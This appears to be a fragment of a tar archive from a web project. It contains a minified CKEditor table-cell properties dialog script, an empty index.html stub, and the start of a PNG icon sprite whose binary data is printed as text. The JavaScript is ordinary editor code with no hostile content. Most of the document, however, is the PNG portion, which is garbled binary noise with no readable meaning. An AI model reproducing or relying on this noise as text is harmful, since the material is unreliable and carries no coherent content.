bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/tabletools/dialogs/tableCell.js                        0000705                 00000015066 15242051521 0023472 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.dialog.add("cellProperties",function(g){function d(a){return function(b){for(var c=a(b[0]),d=1;d<b.length;d++)if(a(b[d])!==c){c=null;break}"undefined"!=typeof c&&(this.setValue(c),CKEDITOR.env.gecko&&("select"==this.type&&!c)&&(this.getInputElement().$.selectedIndex=-1))}}function j(a){if(a=l.exec(a.getStyle("width")||a.getAttribute("width")))return a[2]}var h=g.lang.table,c=h.cell,e=g.lang.common,i=CKEDITOR.dialog.validate,l=/^(\d+(?:\.\d+)?)(px|%)$/,f={type:"html",html:"&nbsp;"},m="rtl"==
g.lang.dir,k=g.plugins.colordialog;return{title:c.title,minWidth:CKEDITOR.env.ie&&CKEDITOR.env.quirks?450:410,minHeight:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?230:220,contents:[{id:"info",label:c.title,accessKey:"I",elements:[{type:"hbox",widths:["40%","5%","40%"],children:[{type:"vbox",padding:0,children:[{type:"hbox",widths:["70%","30%"],children:[{type:"text",id:"width",width:"100px",label:e.width,validate:i.number(c.invalidWidth),onLoad:function(){var a=this.getDialog().getContentElement("info",
"widthType").getElement(),b=this.getInputElement(),c=b.getAttribute("aria-labelledby");b.setAttribute("aria-labelledby",[c,a.$.id].join(" "))},setup:d(function(a){var b=parseInt(a.getAttribute("width"),10),a=parseInt(a.getStyle("width"),10);return!isNaN(a)?a:!isNaN(b)?b:""}),commit:function(a){var b=parseInt(this.getValue(),10),c=this.getDialog().getValueOf("info","widthType")||j(a);isNaN(b)?a.removeStyle("width"):a.setStyle("width",b+c);a.removeAttribute("width")},"default":""},{type:"select",id:"widthType",
label:g.lang.table.widthUnit,labelStyle:"visibility:hidden","default":"px",items:[[h.widthPx,"px"],[h.widthPc,"%"]],setup:d(j)}]},{type:"hbox",widths:["70%","30%"],children:[{type:"text",id:"height",label:e.height,width:"100px","default":"",validate:i.number(c.invalidHeight),onLoad:function(){var a=this.getDialog().getContentElement("info","htmlHeightType").getElement(),b=this.getInputElement(),c=b.getAttribute("aria-labelledby");b.setAttribute("aria-labelledby",[c,a.$.id].join(" "))},setup:d(function(a){var b=
parseInt(a.getAttribute("height"),10),a=parseInt(a.getStyle("height"),10);return!isNaN(a)?a:!isNaN(b)?b:""}),commit:function(a){var b=parseInt(this.getValue(),10);isNaN(b)?a.removeStyle("height"):a.setStyle("height",CKEDITOR.tools.cssLength(b));a.removeAttribute("height")}},{id:"htmlHeightType",type:"html",html:"<br />"+h.widthPx}]},f,{type:"select",id:"wordWrap",label:c.wordWrap,"default":"yes",items:[[c.yes,"yes"],[c.no,"no"]],setup:d(function(a){var b=a.getAttribute("noWrap");if("nowrap"==a.getStyle("white-space")||
b)return"no"}),commit:function(a){"no"==this.getValue()?a.setStyle("white-space","nowrap"):a.removeStyle("white-space");a.removeAttribute("noWrap")}},f,{type:"select",id:"hAlign",label:c.hAlign,"default":"",items:[[e.notSet,""],[e.alignLeft,"left"],[e.alignCenter,"center"],[e.alignRight,"right"],[e.alignJustify,"justify"]],setup:d(function(a){var b=a.getAttribute("align");return a.getStyle("text-align")||b||""}),commit:function(a){var b=this.getValue();b?a.setStyle("text-align",b):a.removeStyle("text-align");
a.removeAttribute("align")}},{type:"select",id:"vAlign",label:c.vAlign,"default":"",items:[[e.notSet,""],[e.alignTop,"top"],[e.alignMiddle,"middle"],[e.alignBottom,"bottom"],[c.alignBaseline,"baseline"]],setup:d(function(a){var b=a.getAttribute("vAlign"),a=a.getStyle("vertical-align");switch(a){case "top":case "middle":case "bottom":case "baseline":break;default:a=""}return a||b||""}),commit:function(a){var b=this.getValue();b?a.setStyle("vertical-align",b):a.removeStyle("vertical-align");a.removeAttribute("vAlign")}}]},
f,{type:"vbox",padding:0,children:[{type:"select",id:"cellType",label:c.cellType,"default":"td",items:[[c.data,"td"],[c.header,"th"]],setup:d(function(a){return a.getName()}),commit:function(a){a.renameNode(this.getValue())}},f,{type:"text",id:"rowSpan",label:c.rowSpan,"default":"",validate:i.integer(c.invalidRowSpan),setup:d(function(a){if((a=parseInt(a.getAttribute("rowSpan"),10))&&1!=a)return a}),commit:function(a){var b=parseInt(this.getValue(),10);b&&1!=b?a.setAttribute("rowSpan",this.getValue()):
a.removeAttribute("rowSpan")}},{type:"text",id:"colSpan",label:c.colSpan,"default":"",validate:i.integer(c.invalidColSpan),setup:d(function(a){if((a=parseInt(a.getAttribute("colSpan"),10))&&1!=a)return a}),commit:function(a){var b=parseInt(this.getValue(),10);b&&1!=b?a.setAttribute("colSpan",this.getValue()):a.removeAttribute("colSpan")}},f,{type:"hbox",padding:0,widths:["60%","40%"],children:[{type:"text",id:"bgColor",label:c.bgColor,"default":"",setup:d(function(a){var b=a.getAttribute("bgColor");
return a.getStyle("background-color")||b}),commit:function(a){this.getValue()?a.setStyle("background-color",this.getValue()):a.removeStyle("background-color");a.removeAttribute("bgColor")}},k?{type:"button",id:"bgColorChoose","class":"colorChooser",label:c.chooseColor,onLoad:function(){this.getElement().getParent().setStyle("vertical-align","bottom")},onClick:function(){g.getColorFromDialog(function(a){a&&this.getDialog().getContentElement("info","bgColor").setValue(a);this.focus()},this)}}:f]},f,
{type:"hbox",padding:0,widths:["60%","40%"],children:[{type:"text",id:"borderColor",label:c.borderColor,"default":"",setup:d(function(a){var b=a.getAttribute("borderColor");return a.getStyle("border-color")||b}),commit:function(a){this.getValue()?a.setStyle("border-color",this.getValue()):a.removeStyle("border-color");a.removeAttribute("borderColor")}},k?{type:"button",id:"borderColorChoose","class":"colorChooser",label:c.chooseColor,style:(m?"margin-right":"margin-left")+": 10px",onLoad:function(){this.getElement().getParent().setStyle("vertical-align",
"bottom")},onClick:function(){g.getColorFromDialog(function(a){a&&this.getDialog().getContentElement("info","borderColor").setValue(a);this.focus()},this)}}:f]}]}]}]}],onShow:function(){this.cells=CKEDITOR.plugins.tabletools.getSelectedCells(this._.editor.getSelection());this.setupContent(this.cells)},onOk:function(){for(var a=this._.editor.getSelection(),b=a.createBookmarks(),c=this.cells,d=0;d<c.length;d++)this.commitContent(c[d]);this._.editor.forceNextSelectionCheck();a.selectBookmarks(b);this._.editor.selectionChange()},
onLoad:function(){var a={};this.foreach(function(b){b.setup&&b.commit&&(b.setup=CKEDITOR.tools.override(b.setup,function(c){return function(){c.apply(this,arguments);a[b.id]=b.getValue()}}),b.commit=CKEDITOR.tools.override(b.commit,function(c){return function(){a[b.id]!==b.getValue()&&c.apply(this,arguments)}}))})}}});                                                                                                                                                                                                                                                                                                                                                                                                                                                                          editors/acyeditor/acyeditor/ckeditor/plugins/tabletools/index.html                                  0000705                 00000000054 15242051521 0021607 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/icons_hidpi.png                                        0000705                 00000102050 15242051521 0020437 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	    N:    IDATx}wxՙ{f+ZeYeYe[n60`lZ1֐l
ݔ%$aSX	BXZPӋm6`eKzN;?fꖹUK}y{)6s|A2Hc`O7\i6]_q$B<Х^'{ Caկ|$Ȕ ( J)B4|χQٻ6)] 'F@!<dYRHY VRpL&X̵ˡb 	 x @V+C  &	yyyZ0LhinFMMM_H\m .(q駟>Uv(na5׼K_F})e#Zv6lx<E$Ay̝3 eYL)DBB`P	
JI<> 8'D@"@)f!d !"!/zZ	B_^y%iu at8j0A gb3TmBN3o?Z,+W 0ax^p5 >Ν !%)l6eY8L+/G^^$Q(yv/4!'wȗ%	T]	!#S pXRQD
V+P (p\2?R$$+͠s/q "B7oSSS={n;pq~llA8&eY /,jA~ӦMKuk׮}yttBPJ0g¢x7 r|̧W$uQ׿ 5 ֭[AYkkKt$QOBeAѯxaRI%m*c gĬ20Y,I D^> ɬ0>B`ZS%gԔ1###xbV^/}f$| `Q,$܅e$ks͑ YhjueYl6ݘV^I " zp!ws&@eY?Z7 Xp!!$5MP@ \yo?'˙WPh"wߴeJ _IVvF>cu $dX,}wp:B~3Jg} $!U@a( >p?!doe0`0` g|H
hg[Qڥ혵s%	!x`7wT 2Ān٢E  	 Ix|0` Ae۶Te.[NX-8f |8`dd>uk	 5 onAA _n<*-%-,)f  ?i*(K` .PW~Ӧ./<H8K,Yj⸈4to 2Kk͚.7?)+A@ .EB>
M[%bD~՛o!$Վ!&7v$IUUo_! [¢iP>L# tp&DQ,} DQTt -tB	& 0{rY$ahxΡ4O++sip8i'CJ`%CxF	!>U("
r2s"0{vU.PEk>JWB}3l#ŒgYrl	drdkָk:$B].fU@8wwܓ--,*:K02<ܝ-t/fsD!Zw "^H))!lIOv󳨜RJ0`d'+v88 @r(6qݻHq>[׃anmjnj/B :O! tOeC,Im=B,X02ò|尓.2.ojk}UG#
"'Ke0`2`2e='D.4AFfVn7ىǏ9x  E,<-%W/̈T,bEn-F$b
_ |I﹇In7\zP	|P,.,|( uM5 PQ!]L,Ib~ogYLVe3))%$be#I X,x7
>BOyIUG.V_z~`YV9G0']]87(BY|^=]gL  z{۸^^VF`,ʼ ȃCC N}tNRgMRƶmۖ{ｌM-42eY wuw8y;OjmGy gE}f5X5Xtjkh0Q  IZ$MQRd21b*0ͰZl0L8.1yyaFFF@  AqqbJi1G$륗^byܹχbT8fn7
ő!0$}̟'vd2R
G	!WXPҥKH+ށyϮ]$JB0!iB{0wnAShTVW']0+c(B= )CK3>}:.	H45s&S]R\|z{RP^h/(*j,))H0PU]=Z_$OGVn@T
 "N'].8211pf3vӄrja8af8s8SH>y^><'tw)ǘݻveYvfŢeabf_p!SbiQ! w'+?ggap:>}:䊊
l&yzU KWO*SJPJ'g-Ervd5P6$ߘhϝ Uh0`)$r0in<8' n e Жme{C嵍6tѣx:Ymꎎ֙3gto/} φ@i]jQ;s&.^n9gmŸ$ psvK.
`N3f4 K$$\# //sN ۚmyڬV|>`/fK@OP7dYII[~~>,f3^/^~=0k:fFV###ݵ2k𥆆}eeem00L)t:#բf{ｷ턐LS V766+//oq&ٵ{E l-! x͒$!bIcbLr]q$㤚S$?~r<)RSRRRϲlo2@qϟO"&RYeꎎVsIUB,QLbo):P@=nnW*Z%Q5!myyyzΝoJ:dPnXfD}w<88gxxp  ĒE: |'HIDZf̙W8P(2σ໇nlb=z{$Ij+,,TtGy\qy9Xձ"0p8sp\Ow.;cx<Ȳѣ  E3 xԩS+**<*#'J5fN#ϘeoUTRjnWL&өYg%RVT^WHef%WSJߎ*Oƶ$cArWW$0R$8zǑwJi*~IKӧOn/KNKʛ6-݄fP6kdE<q"jKYۥS*[%	-wSF@=##mWR{SU8"ت1~6`0`BNɃł<D0G^|ѹ~{j	Pk.A;4u-(Ƙ[LƄ"]68.RLV0Hٳz#Bnx!Iј,?UdC-]bX,?޸aC1zk~>jLDIWd8eaV-]ac:z~fczeeEݚmڵP`##p=uس lC^rLJ0CjLY!kY|𥆆=$@$l6:6 0L1hIt% MAZИИL$'1ߏ|w<iL^=zhAB!X-&[1A$gL$gL$g11`0`7 Sw$a#y,q1$!

|[s%(VI%J咠&EZiMPvâ
$O~ϝ/Pv0ϟ$i |&,eWTzGk2L&!Lj	&A7]crLPDFI@$ز*d$	,- iLDMwGgA̺@+0.ҫOR 4]%fҤ.W.@AE0>ڙY 3:'g(qNҎ`(4*] [T lv\&}%@e?&u%Kr8 "I^/n7rwCA	Uc݂_]YYGT(k_rRi	p, YQYUu]@PVgan^|%АyeYnu: 89s3,>gY@Ұ㙸֥vuiaAlN:Պ|̘y|>8yss23Y[;vlYSSr`$8vklD3M/n$w-£ ή3 奚kH! T÷CGe
H/S ^P[oyG=~!s	+lJ_SSa?Hz3!2#nJa7l  fⱫ1 Gsh:<rE8'"Qi(ŘTs@j*0`0f L(ҏ v@Z`z G  pBJh<ԾdIcŴi(*.(Νr(t#T{`(r122޾>ڽxZ(n{<3Ò"yyĉ >LRyi^Q^tQ+/ (5ߏ'yfx߶1[oܰj""GD.`R3Ms7,a1q!B`z}PIjI"'0dQ׷#< >Zݑq}]]/=Ѐİu<Ge2pAl^Abǹ%I Яnߣ1N<I?ze0>
Fcཝ;<,3Ze (;BvX>u. $}}?B0b xFRZ_d{~kb xݐ&K4>jҥc<<,_ Q*=?ٖ|ӧ1HP8ʊ.P_}uzӍ7J^ztyI .&ioSq6}'y'mܸQڰat2m۞'/{U9<uC Tb8BO 4:DTMZ0Do_g=Oe_p'f9N$	>ӫ~W^{3 FGGe˖TK0p8'ORJ߁:/82^/{oGO.'$|8aۡ,RM@f<0z꒟}93$sk;OZxT\\_Ql/mlnVyT__/QJwdpjjY*((Rz*!g3nhҌ3qH6=I^]=rw<@)SJ2~A5k44aM΂əRCol.5L2^	I _;'A]P~o۷_].C*z(53 P<&0`ODJf&IyJ~dZkfCC0%AlF˅]w{a$">>6CD7GMD B@|]0!1sb2.m|L)䧞bdJo;9d`uc &3J)n 'In<|8ki&!quŲ,?t@V"O* p6mQYY[ KUcM+	('JJ@T_)OBgw	`ڵ(Zz kǣΝ5+?:ѬȘ̐χo(uxJ Q
kq<r[ױcII/DWdTȓJy%S?Ce'tId5	3mjxw ~Fӝ	$"""	df Sho7mقY55t1+ͬ6B0-###3gNJByVas  Pi$B%#ӃS5{6QSW r-ML]Uc;u6.}P%P*%%4[֬+rDdLF Y΂Lg0'eu Npj?eXdҝw(0@1AH>VZiFqpUTyc ɜM前B8)׀0` C_`}/0C_`}.	C_`0`dj !tkuJ:>iv:߿쪫$ $.E/O,3}_>-˗0YO~v\n ~E?x@ &)qFZӦM~~L+/e@&a/_i)i	~?xA cak+gͺڪfμa`0ӧ'-?ëU5k̮'GykTG*V{ Ϫx"$Q%חL,/YBR#?h=^}8BPĵ0xVf{0*.`)q_4<cxdϽB1{&@x6xy֮Ys1gƪκ]XAK#3/2?L]FW xUV1 &q8p ܶ`E^| VBBMg=?VUV].8Z~':;}8  !ܣWnƫ!E }kG*i Cy9UďX}~(xDQn?#f ܘ\&_1oZES%A84o
 xBF.}jcTt)Ց|BcxL[eh~B4Kà 2ô Hd=[5Vwt8AEoo<{Th    IDATfΜٵo߾JaɄi	3Y*.Y.IFGFpرkE p˖-sT0[,x7@$p>qjT`rmNs$Xdmb6{`e-PA,-Eu_n:Bs @)m0 k{{&P [jUjBͯ};;;{AUW_.* B. -^BkttT~jnjzutxw(@m/hjkV^-uq4
}}[ZZ3V |C'oy˗KgYw޽o/\H:s$(N@Ca~>p?9(ҪP((!eZ򖔔@e_أ󶴴T~hO}BnaBȗ	!/BjӦ[Lfsi02>e7a8㌓y׮[wfsb9)jf"Ξ-@Xj=hbr_=⽖f֬0\ vѽhbiZU՘GHEI)=nO7Λ'ihJʤ55&RmE)NRJq1$͞3G*.)jjkf\wF)RRjASJ+++nw`;ﾻR'
2؟ÇQmդ#PN)C*"oU<y(SVUPQDݥhyIgT0`(C_`}/0
SC_0C_`}/00`r1}ԑE' |nJ	,?,iY[8SRس_~9wI9S ( i~Cs~f~C*ѨrNegkrp{KK)!x7MyvktF{;Xe9ђ0	صe)̒Pw(. #k;?we/ *Mc|c@ ~>6M+^F?we Ls朞_[[c!nODw
$;(bg_DRo ]v><viU,KWT	x,RmtAGGrBXm63r(Ÿםk4Lj$P
͖p	 =! 7$YzBXDz\J	zHS:KbL$]O4Ó(Szh<6P iB+֬i;|$}P
ł/	`.4wږvd¶EΌ3;Omii?%߈ĘכK 1
:!O
 ĸYYcE.LI	!jS͛W2!)lwԉ/?.H{:zNtϾd9fMwϙb$A1` Z@\	t7xN3S NҒ`E/Ah.XގW_xz
]1IRL*+QeZBYxTnIR9s55c$AŜ9RE]]*ꤊ9s"F8e˖] j%	&DY_&RRڙ-+(];{6Y_gS`wxaJiX*{vWE>Nqnbo(bzUh5+|z=A1+DЏ3 )Ǽ0`AC_``}/C_`}/0 }A0`ozoW@rqP<uuL0	 ٳ]ǎzYq57CEȒ'( 8z=|+[zs KRR9Unh>' a,aDQ+h?;wKaP0%I
ba


GJ$#r2('xǩѝ;v]xڙ36[RM(..vQBg&)Z$!B%hhn˗|Ga2Rdռ1h5j`4Yѱ1l{ K!|ꗿuK(C% D).b"jQ,xZU<PYY7*}S\$ҹDQwo-3G<cx<M{3z"I`s_Sf](;GFwaa6-ʊ#6济sͳâE>k4g델)KBƆVE3BE/b 6W^Rr[8[>JtԕW@eAH.BO0xڅ-- \U3kk1yDњyXv˵=kdt4@+r[ ,#<jBH}}}(/6L<}p8f6@bnGUU|>֭_"A)~qo2 бrxW߿w?LQI)1Heˤ"hG3(?:p ńYm5}. 썪YuuuflË":vbZ 2eT$}>\xFzG s6ovܹ7wh DzB4.^P
Ap<Y'I7p `Zaw80߿jXCcQkkseEf3!E'{Ķ6MpCÇf:U9.ugy&h@y!aX/!zP#@0ȄBiOCm<}oq!MP=ͭ +~;4)n%L׿n%DT^RJ_0HrK/EIME Y*,ftڴQ(x  ]uQCKepiӧzԩ5F^k~qZYxkX8oRbfܚjVya{jʒsVWWVVS(k,˰Z,q܉.׾6888@  Aq., ^ߟڸD%.(EEE8<c`` ַ"z46Bnf9<koSpnϞaBE6xட|?SZl-1KH`9M[,p	!		)e(KɖRR;z2s10`0u[
_kWR0{/C ׬\!
6Lyy[-(W[jOEAXbŹPnL){ے%DAP*RΘ  pey.)bmJQ?oΪOheM^TeYjXϋIhr_WׅSE`QҥDA@8nV@  ^`Xl	l(+$+G|M> @E8F~Ɇmɒ+i+%<}͞P(k:UU@1%M
nۓ,"(2gI7lN;3&WZR
Q Ja2|z Bu1hXD-oHWneEUٹr	 nW9RȒ"|O*8 dKQa!}ii)JKJPZZ
'$/\x6xhϤ,^QV\MV	f3rPw&B3Ͳz磣P5}:ËbDŲ,N[n-/+s'˨mh|C8{8-[ *x믿 lAa Xɲ,B0oΜc|1NND29sjD VZ5(w#z}81L`U LA0@ ߲e @׭]{`
2oj uzyRuAUIYم{z7FXG56WJV{fqՍ 1EgY}2(2ԫ3'Dٞy硗ne,rvln:{8PJJ)5ük{BkyS%6[S4_;|($h+$B@E 	ŀ0`@@VX_$R	aA
)IED_9Y+׀ǃ7zjJ[:S.;/Oז<Wh6^/v=\_썁\<e8Y;J!2^cqe9,5θT0LƃxC0N6xQH:R:2"Q1
~?Ce ӽOP$f@FIZy	1u&

afI}+%	GFNހ0`>;RuW^|`0f4b3o(30?	1>Bxq)ۜv,y%	VRCdP\j0B#R&q1]@ `b͙s_kS `}9t ~?`8Nc,Iq:o^yG~~>V\	t&=)CbDvFqۍ!A|=h|'{zz0:2ёo>9ځN04oל}9۷}}9oL@|=ttH-RT:f3g)_O1 ů0 |Y˨RUR̙3ߵ c|=h䨎~cr8>o͚*ٌ>u r\1[$ܾ,a <V,Ybv?(ׄ$`TII	#P#$.,(@Hu#
֬\Yj` u ,BcUm/;V#54(>jkJeqʕ:TNQ[ n~\G/X`VZ;摸ְZ_^mGyNۯu٬>R]X^AAl}З-vՊ%=Bk*xFGu! K؇ѦlY,T=KD%EEXzuHaa!lV+Ae̞=4øx8Vcc鿜9}zo1mB0Aq&PLK{ƃ<%MMvQUS*fC˶F )]h3,B rt\E"0lɆ(@8lhN0`00i
}G-_.Ϛu<ޘTUVbZn8O :D[y­Z&*Wdc0.8,[<9*U-JRlHM	!XVe'A]Dq-@Eq
ʰxD>CꜸ߶8;IE?	~	Y0sRzhmkKh"={"1iLxUaZ04Ot E]\4!?Zvlذ~~}=f邆&&sGE>:]:>¡~?ڗ.EP @-}Pg`fcze(&N:'JJtw=~Y(ڒz6D]*{SJWSJOe"{Lb̙@Bȫ&zώ@V΃2
t&Lڳ qkzuh|NJ e`YM}}I]cLiB̘DQ)QX]-qnZ\-'g
:s?}/81	0`05%fA|\ì /o-[j 4~*
7'F@;G80830bzv(( f55D>55Hx+#d`X##h4 !|RJt7#)1 OP6!)tr'	%M hB@kk[[`XCcc8~(!Fs  !!bl(y<ҎӛUvNΜm=/oj98y 4nBvB$:mnf0ý 8 ̝ߤ!ŐǃcCRN8Ww׭[Bz51ׁ}~(;l
DhOHhz	T! Wbv*ׁ? cbEx|̙`ߏӧuOKr)[exu]N}@S˫u Bn@zz2pHω.ŘRH>EqJɾj4"@ @ !Xvm~=?1PJ;'*c""ðQ0`L5þ/T+"i/P\<ʾ mm׀aК@qPw=__6[v (?&l_#/#@l6eY65Z'\qW̙3eANۿ>SJe9ABIYa2ya2äd[W09@ۓ>;}A00``Sx֬'t!ɴrTUVN	 秔@z~9:|g;T!F8w2Q2"I_P$9 ErZ<jCD՛D<qcR}Ҋ2a %YHBHL(٩Hq)LeDW:jSU(-0犣[qugՊ[f#}I)?Wjhʉ邅y@ L)>HZ=`:]N'~zW9|X)^K6l92$cD")ĀRJ)=iٲpC{{tz$}o҅Py:~!%i|pց1Q=TK/O`Rցl)(Dh@_wwT:J_E@Ѥģ Skii擎N c-dpBV׀a_`0`g zDXLjL+(#FEGG}B->c L,<$	>']yq=HbL#GEzt?=)ŭ睇)=##xRN$!2)SSgD,'A)D)FߌYٛ˗Y	C?)PJ"/ʺB@(D 80,h$RB	7jbMI}!qb0IŇHIErlq0`0sǴr\YN)Lv=~ k:;a,Q
OR6tO}wӚ\n7L/CC3B B"$K zeY@rD$<v\.WiGe%qq.@ǤFķ-bPJ9(24
(EqŘşg_4oBTb2e<(N&TK1/GxQ!eVdYPweT>>ҵ@DK{lnFuI$bXPBN}1i~mњEyLHy.0D$?VStς SI SWaW60`|&0r/T/1ldL [L0iOe+},}A^ ƇzZOO@N^ I	L}ARf)M6KgAFhR"vطvG    IDATsgFy&ݾER&b_@Ô͂Lӳ R&þ@D?&վ@#N}0`|}r>6Yz	L^!g92G)&KS'7H:4;3% 4ll2GED~T#!2G)xņ͸hd(*'7LςxL!㕰yRTOL?d#d31UzK*=gr|6,&j\{!+D@ OQG60`|,W5 : 0 Fbдۮ?M p(**zNƁP* {rmXzψu	affn~c# K$uO pJ XwRÁwvG(XN涙3f1k,ȒQm'(c,A>,FX X~D3,(q8zJZ׷RepRB " de$ID)ckWW	$I/ a*AU)E8TIxAJ)DI%MH@!"F [PJ!IRLT	n"rݲ>'% J1Ԅqq1oVZ  tMI]P$Ip-&7Ӷ@'
Z-vN jYUkL7Q()4r,CVXE Y,L&8`,nχGJH),P^=VȊ+v?/~Gn^gs:襘rL&zo~3(~###}ssP)`hx&3pT>@pwǪٳOp8 IpZ1<N  `z=z /Z$w7^F)
|㷿۷C)RJ[RVpqւҬRˣ)npB#4!kϵ--RmKK@ʥRjР^] sf	 ۧFBH ]	'N TSo9ݳ`5dXԬhgCcb0  g`\'7L1|9s*M{zpIGG +6nl6$QʁXòzݷO?d^}|	bX,w,ZW_ߜ
<êǟ[!1(@ߘ8ڰdbѣ}|e;;y{  pln[_o]ގA?R2va)$aTO3gRj_*"AyY@(9їF @E~If$<!(Ϗp,W5,)[ $A$0\q, Y"QrTVMh*Ea2rb)[ ~N 4jAƳ@Sbix@.uQTQeabNeY0F=J "TL)HT ׋'#s>]vz-&
չ<XVL&0Қ\"*4>FoQ߽{/}KBd(<ϻ.RϚ#Gڠ($UT h@}o}WlXl6ò,DQ9{ j:ˉBÔ6JT~0J?}w~>xR}de%)RJI3)Pu	$4C<?W۠t >V1НUztigT#'NSoxy'N0`Yln(Z4ߣ{tjY*Te3g꒒XVp,seY8N|?} 7ﶦyVM$B!<<wEŲ,Y[k_lK0&ڼb066y<2K2<L@x2Ab-m+x7ٲ-wr]ݮޤ3Wrԭ[:{ιr
;<P~;+|D)Qxb~bc#?_xqBJ
+Q{{{߂oUh=ly] RۄѣG \5kikk3Ɯuk>M@q.j;60Z꧄ARp:p:P#]jOoZjE@NII_ر;oBM'7enE/jHKKؽJB Omnn>u¥˧OOI|ĉ<~ VVɓ'x1q=nDZTFʯn YY,|21烏eTnVi4!3c^NXq<7USS<<nIXz{:ar -[q[Zb[Rd2!++&	 t:g3:$dd @+0tg"뗫VkV>=+@tw[WWwvv򝝝|]]]yRJwIkVVxO?s[xg x<llֿ_k_qaa˗?c(+(}EEEUXX?O<DwaaaEEE|~A>VȊJ)H)j՗_^zz_dIw,Yҭt><`+--V}IFEƊB$+QlJXKX|+P@
(P@
D2֬L|7ȑf|ۍ;~|38.6_0w|W_,NaDaD~w^}ՏZΟ/=okn֭[֮]/1c`6S@YVhѢH/`vv=,ZhZ4H`W:vl;|ڔOS	_ =i0u`p_~e/h:ŋ=T56|AQy9>b/,+r6>NV|Afv68K	_tڲIrfffN].a=!555 btug)Y  4 hx- !(͂Z{dL:u贴M/˃Əgju_`0`4'+.c>56?KR5|iR5W"N'dffO>R:С Nf溭SJe/2y k(E#=u}w.ZLEAܱpa7ާ X={̬,wFfT 뮻*	_ N XqcCeu~%=`X/J;1c4eʺ6Qv4 _~YZZd3Wf&YR#J@aQё3gwq?fX7kkO:ܼMʒ0x@T/K #PF K֒ʴ4|{b|iӦf	!vra p) D*^=^,k<F
JiVyeѣFuK-Ϝ=+̿7_կ6r 1kq1<<h4Z4ڳGp: xOZ G_VT<f-.F?ZΜ9spyKJ	ɓ}R:0:'-·wtL//*pYwpe \ܓ'O={K?׿{%%%[;RʈiY8 B]#;S-aSqIz@J)B)VHxRÄ袔֥q
(P@
j)kE¯OU`5>"Mu:txJ6twE*KXž]q\+<0;֯c=!dNo{߻W+:  Z= #͜rrɲ(?DE3xBo~o_0)S N ]B@Ėص+"9=#Pn8؝Ngd@L0׭k掯s5~uK<FX=zѣG<)sc@)-\Tv.QB3ſoN
K/(./G>x g{dEZ@c}%+3 ?0p03!:,::Ht䠳ͲO^@jr񖼼0Sp7vbH:>Dn6J"*lSW#~/,,<?88a6
_9sF^T=[Z22fKp\_68xsVCÒ~СCW:tՒ~68j@
(P@#ԬgOJ?R!8Y}HT!@~`d<C GY+ˮr$L!@"Bd)_#"HVCVCE߯
(P@
(KS lW {I߇'F*(L&O~]; I0[x]0a9ߤFVؐ;Y鯏b qU8HHzOT ؜Nhd#>E:\WT	!YBJaTDܩF#;"<t w(DI	Qߴ h
 7Hj(WOD 1";XˡQ`4fs3.<[T̈́ԌYf\/dC9UTt:xevX:a@__|jjX,TO|7l&dYL
9tNsĒxzڵ4  G)ܒ72O܄F@
(P@!p$IZ`sGvt3fIЮ@ n_U r1 fqcFƑt'%_q+pz<P37*j̈́9BSIa[1iWwG3QLNFJ@4)qϪOD#!=|YM[,z6<6VA\@cKjh,Nϟ"148'N߰1rps%8EWVC׻zTAnS~
(P@7MsL*pBx>W ~-zJR\.|g*@+Nm6CVP=|'8 hGeݽd
^Fe X;S	PP?2wϲ=sxSJA)]{<˂H/u"R!8^R7BO	 _Ĕ/@Âj4u-^h4\a7y<W (  3=]}QBaٽtu `>i= f`Y,˂shz5 ߏ{M+RY |pĉ9n˲; {xXo&Ѓ,nȑ#_8q!-$zlhh᯿+))UUUl!\v=y\>/#񵣔8l6;vlӧ PN9VO;*_lͧOr|F3 |appG 6uZ>MljSZVVYAA4jpom6ٲ%n9c@09vϟɓ'犍/?2k E=tȣ-//z?n\Dqhyy9}GRJbXmEDWo<q]gL	)D(y[~ElP "@?>ǁwÁˇ9|3O Wq\EaԨn23|:`thjn]kGJJ*+_}Z@RARATЪ4J@VcnkK*+_C2,V0)Qo `XՍuuq,-R_xuuJ*+WZ Qo66>(U[ssq?)+-/]AݻOa2q[FZ0T*N:xKplϞе
xCYIkq۝N'.^yL O?/teYe%%x_q8.xt?ǖ//i OGϟ?/8ΈzX.X*s\ovq%/te*_Ta˖U_ts$I |^/~睃-p;!hi/ZT;zA= HGJ#>* W,
GT*Uț["@p"r\p:`5IE @bQUu$FMQ >庞7FÛ* J)JyGBf)J;XAX6t6HD^w*+§kz^HDoF
(P׏DwټX+ќQJ8,L`66		b޽رqv8 Ί`jknKp8B.˥Uj%ʅz Z)ޚC	mt1y24$j`EQ
unؿ_C)ex	嗗RxEr֮]cMmt:rB.	ͦ;6𽑽vZn|mErD"z|ﾋ4& {)Ŗ-ШQ$V̙ݯ~E nt͏R܏33(RZ<IHURJϘAg̈؎G<_IBqI آ\_xWRD(<^/x?Qr0zA98-1o</_=>R:1o<g_ Aȉ"k!9=--A`!H1"3;:dA4#H{M	n JCZ-\Gӎ_ 0]VxuuMDƆO>Ij1	ylZWtר (@ZZ}ŅDYAxw>8GB9HM' s1n4 uF{@:86tc
5;A$$"4kf  L}?sӤQQ ! ~z= <WY[luU c?|fv3㾆riT*>[QQ^<a_]Qlxv0!%:
P[\8p ~ܸgV,Ra<tj52Ѣ>FmfeO&yZ-,8!	|Đ+8}vml ][xJ0k\׿uM@ ++5G^YWY)-`-Zq(/\<Gp(*/Wj
b4"`aO *MFƗֲ2
DOj22'Q>K)͊{ax\[
c,Yǡ_ԗ;`x22JOv/h) L xre(P@c8PwtSo*4Wb=رqc p]> ~Bu5t8vn36q:̄j~%C|Zoʇ8u    IDAT9 ;mӈ|?sdab<?_2S[ZXP]w_MD"|=wߝSSU5O}\fhh1yz~jA"|A~e	N	 <~@ƥy4͜.^|}ĥd8cBi--3j^ ;Rat2^]\@Z)c
p#pa <D#qwdyAH$hI6%	!flWXF/Nh2+P
B):NgӎM^0UVxTӟ5RgKNB҃М^,@WtY	I ռBc ռBdDaaw@3'CHMן< xb
+%DxAp';"RWXW	z6adx~ܸ
